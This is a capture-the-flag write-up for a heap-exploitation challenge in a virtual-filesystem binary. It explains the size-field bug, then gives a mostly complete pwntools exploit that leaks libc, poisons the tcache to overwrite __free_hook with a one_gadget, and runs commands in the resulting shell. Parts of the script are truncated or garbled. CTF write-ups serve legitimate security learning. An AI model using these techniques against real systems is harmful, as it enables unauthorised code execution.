Authors: Peace-Maker, pql

Tags: pwn

Points: 957 (12 solves)


Thanks for using J-DRIVE!!!!

The challenge binary implements a virtual filesystem where you could create and manage “files” in memory through a console menu smelling like an heap challenge. The process forked right away and let the child and parent process communicate through local sockets. The parent process provided the user interface which lets the user explore the virtual filesystem and send “system calls” through to the child process, which kept the actual list of virtual files.


After reversing both the parent process, we come to the following vfile struct, which is created and filled with user provided data in the client itself. So the parent process always keeps one copy of a “selected” vfile in memory to change the metadata and file content of before committing it to the child process when asked to.

struct vfile_format
  unsigned int total_size; // filename_size + filesize + 25
  unsigned int color_idx;
  unsigned int created_time;
  unsigned int modified_time;
  unsigned int filename_size;
  unsigned int filesize;
  char filename[];

The client process opens a flag.v and file on start and links it into a global doubly-linked list where the parent process can append and delete files from. The struct looks something like this, but we only needed the parent process for our exploit.

struct vfile
  struct vfile_format *data;
  struct vfile *prev;
  struct vfile *next;

You can select and print that flag.v file through the client menu, but it only tells you to get a shell to read the real flag file.

The Bug

When editing a virtual file’s contents, the total_size field isn’t updated [1] but only the filesize field is [4]. Since the two fields were used in different contexts in the logic, the inconsistency first allowed us to leak a libc address.

__printf_chk(1LL, "Enter content: ");
new_content = read_line(filesize);
total_size = selected_vfile->total_size;               // [1]
new_content2 = new_content;
new_filestruct = (vfile_format *)malloc(selected_vfile->total_size - selected_vfile->filesize + filesize);   // [2]
memcpy(new_filestruct, selected_vfile, total_size);    // [3]
new_filestruct->modified_time = time(0LL);
filename_size = new_filestruct->filename_size;
new_filestruct->filesize = filesize;                   // [4]
memcpy(&new_filestruct->filename[filename_size + 1], new_content2, filesize);

The Exploit

When changing the content of an existing file like flag.v to some longer value and saving it to the child process, the total_size field is used to determine the size of the struct and thus truncates it on the child process. After loading the same file again, the smaller total_size is used to malloc a buffer for it. Printing the contents of a file uses the larger filesize field and leaks the heap memory after the vfile_format struct containing libc addresses.

To turn this into an arbitrary write primitive, we created a file with longer content and correct large total_size set. Then edit the contents again to a smaller value. We malloc a smaller chunk in [2], but still memcpy the whole old struct over the smaller buffer. [3] This allowed us to overflow the heap buffer and into another free tcache chunk we placed there through some heap fengshui. The target chunk had to be smaller than 0x100 in size, since we’ll use the filename as a trigger which had that size limit.

To actually fix up the total_size field after changing the contents we resorted to changing the filename, since that menu option recalculated and updated the total_size to match the set filesize:

total_size = file_data_struct->filesize + new_filename_len + 25;
new_vfile = (vfile_format *)calloc(total_size, 1uLL);
new_vfile->total_size = total_size;

Since we’re dealing with libc 2.27, which lacks tcache sanity checks, the plan was to plant __free_hook into the fd field of a free tcache chunk to let malloc return that address and overwrite it with a magic gadget to get a shell. A lot of the logic used calloc to allocate memory though, which doesn’t use the tcache. So many steps of the exploit dance around this limitation by using the few controllable malloc calls repeatedly.

#!/usr/bin/env python3
from pwn import *

# context.terminal = ["terminator", "-e"]

BINARY_NAME = "./file-v-new"
LIBC_NAME = "./"
REMOTE = ("", 5555)

context.binary = BINARY_NAME
binary = context.binary

EXEC_STR = [binary.path]

PIE_ENABLED = binary.pie

BREAKPOINTS = [int(x, 16) for x in args.BREAK.split(',')] if args.BREAK else []

gdbscript_break = '\n'.join([f"brva {hex(x)}" for x in BREAKPOINTS])

gdbscript = \
        # GDBSCRIPT here
        set follow-fork-mode parent

def handle():
    env = {"LD_PRELOAD": libc.path}
    if args.REMOTE:
        return remote(*REMOTE)
    elif args.LOCAL:
        if args.GDB:
            p = gdb.debug(EXEC_STR, env=env, gdbscript=gdbscript_break + gdbscript)
            p = process(EXEC_STR, env=env)
        error("No argument supplied.\nUsage: python (REMOTE|LOCAL) [GDB] [STRACE]") 
    # if args.STRACE:
    #     subprocess.Popen([*context.terminal, f"strace -p {}; cat"])
    #     input("Waiting for enter...")
    return p

def recvmenu(l):
    l.recvuntil(b"> ")

def do_create_file(l, filename, filename_len=None):

    if filename_len == None:
        filename_len = len(filename)

    l.sendlineafter(b"Enter the length of filename:", str(filename_len).encode())
    l.sendlineafter(b"Enter filename: ", filename)

def do_select_file(l, filename):
    l.sendlineafter(b"Enter filename: ", filename)
    response = l.recvline()
    if response == b'Failed to find the file\n':
        return None
    l.recvuntil(b"Filename     \t\t")
    filename = l.recvuntil(b"\nSize         \t\t", drop=True)
    size = l.recvuntil(b"\nCreated  Time\t\t", drop=True)
    created_time = l.recvuntil(b"\nModified Time\t\t", drop=True)
    modified_time = l.recvuntil(b"\n-------------------------------------------------------\n", drop=True)

    return {
        "filename": filename,
        "size": size,
        "created_time": created_time,
        "modified_time": modified_time

def select_do_change_name(l, filename, filename_size=None):
    if filename_size == None:
        filename_size = len(filename)

    l.sendlineafter(b"Enter the length of filename: ", str(filename_size).encode())
    l.sendafter(b"Enter filename: ", filename)

def select_do_change_content(l, content, content_size=None):

    if content_size == None:
        content_size = len(content)

    l.sendlineafter(b"Enter the size of content: ", str(content_size).encode())
    l.sendafter(b"Enter content: ", content)

def select_do_get_content(l):

    results = bytearray(0)

    while True:
        l.recvuntil(b' | ')
        bs = l.recvuntil(b'|', drop=True).decode().split(' ')[:-1]

        if len(bs) == 0:

        bs = bytearray(map(lambda x: bytes.fromhex(x)[0], bs))
        results += bs


    return results

def select_do_save_changes(l):

def select_do_back(l, save=False):
    n = l.recvn(5)
    # print('=====', n)
    if n == b"Won't":
        if save:

def select_do_delete(l):

def main():
    l = handle()

    l.recvuntil(b"-------------------------- MENU ---------------------------")
    file = do_select_file(l, b"flag")

    select_do_change_content(l, b"A"*0x100)

    do_select_file(l, b"flag")

    oobr = select_do_get_content(l)
    # print(hexdump(oobr))

    libc_leak = u64(oobr[0xab:0xab+8])'libc leak: %#x', libc_leak)
    libc_base = libc_leak - 0x3ec680 # libc.sym._IO_2_1_stderr_"libc base: %#x", libc_base)
    libc.address = libc_base


    do_create_file(l, b'H'*0xc0)
    do_select_file(l, b'H'*0xc0)
    select_do_change_content(l, cyclic(0xc0))
    select_do_change_name(l, b'hi')
    select_do_change_content(l, b'A'*0x130)
    select_do_back(l)'heap groomed')
    do_create_file(l, b'meh')
    do_select_file(l, b'meh')
    payload = fit({
        0xd0-39: p64(0x21) + b'/etc/localtime\x00',
        0xf0-39: p64(0xf1) + p64(0),
        0x1e0-39: p64(0x1b1) + p64(0),
        0x390-39: p64(0xf1) + p64(libc.sym.__free_hook),
    }, length=0x400)
    select_do_change_content(l, payload)
    select_do_change_name(l, b'ho')
    select_do_change_content(l, b'B'*(0xd0-25-2-0x10))
    select_do_delete(l)'planted free_hook')

    do_select_file(l, b'')
    select_do_change_name(l, b'W'*0xd0)
    # select_do_back(l)
    # select_do_delete(l)
    one_gadget = libc_base + 0x10a41c # 0x4f3d5 0x4f432
    select_do_change_name(l, p64(one_gadget).ljust(0xe0, b'\x00'))
    log.success('enjoy your shell')
    # select_do_save_changes(l)

    l.sendline(b'id;cat f*;cat /home/ctf/f*')


if __name__ == "__main__":